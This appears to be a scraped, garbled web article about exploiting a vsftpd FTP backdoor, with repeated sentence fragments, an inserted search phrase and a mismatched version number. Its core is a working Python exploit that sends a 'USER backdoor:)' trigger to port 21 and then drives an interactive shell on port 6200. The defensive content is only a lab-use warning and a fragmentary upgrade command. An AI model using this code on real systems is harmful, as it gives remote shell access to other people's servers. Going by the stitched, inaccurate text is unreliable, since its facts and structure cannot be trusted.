sudo apt update sudo apt upgrade vsftpd On CentOS/RHEL:
This article dissects the vsftpd 2.0.8 vulnerability, explores the infamous GitHub repositories that host the exploit, provides a step-by-step analysis of its mechanics, and—most importantly—teaches you how to defend against it. vsftpd (Very Secure FTP Daemon) is a lightweight, stable, and secure FTP server for Unix-like systems, including Linux and BSD. It is the default FTP server for many major distributions, including CentOS, Red Hat, and Ubuntu. vsftpd 208 exploit github install
You can clone a typical repository:
But what exactly is this exploit? Why is it still relevant over a decade later? And how do the scripts on GitHub actually work? sudo apt update sudo apt upgrade vsftpd On
target = sys.argv[1] print("[+] Connecting to FTP on %s:21" % target) ftp = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ftp.connect((target, 21)) banner = ftp.recv(1024) print("[+] Banner: %s" % banner.strip()) Send the malicious username ftp.send("USER backdoor:)\r\n") ftp.close() Stage 2: Connect to the bind shell on port 6200 print("[+] Trigger sent. Connecting to shell on %s:6200" % target) shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM) shell.connect((target, 6200)) print("[+] Shell obtained!\n") Stage 3: Interactive communication while True: cmd = raw_input("Shell# ") if cmd == "exit": break shell.send(cmd + "\n") response = shell.recv(1024) print(response) Step 3: Installing Dependencies Most Python-based scripts have no dependencies beyond the standard library ( socket , sys , time ). However, some advanced scripts use paramiko or pexpect . Install them via pip if needed: You can clone a typical repository: But what
pip install paramiko pexpect Do not run this on the open internet. Use a local virtual machine (e.g., Metasploitable 2, which contains this vulnerability).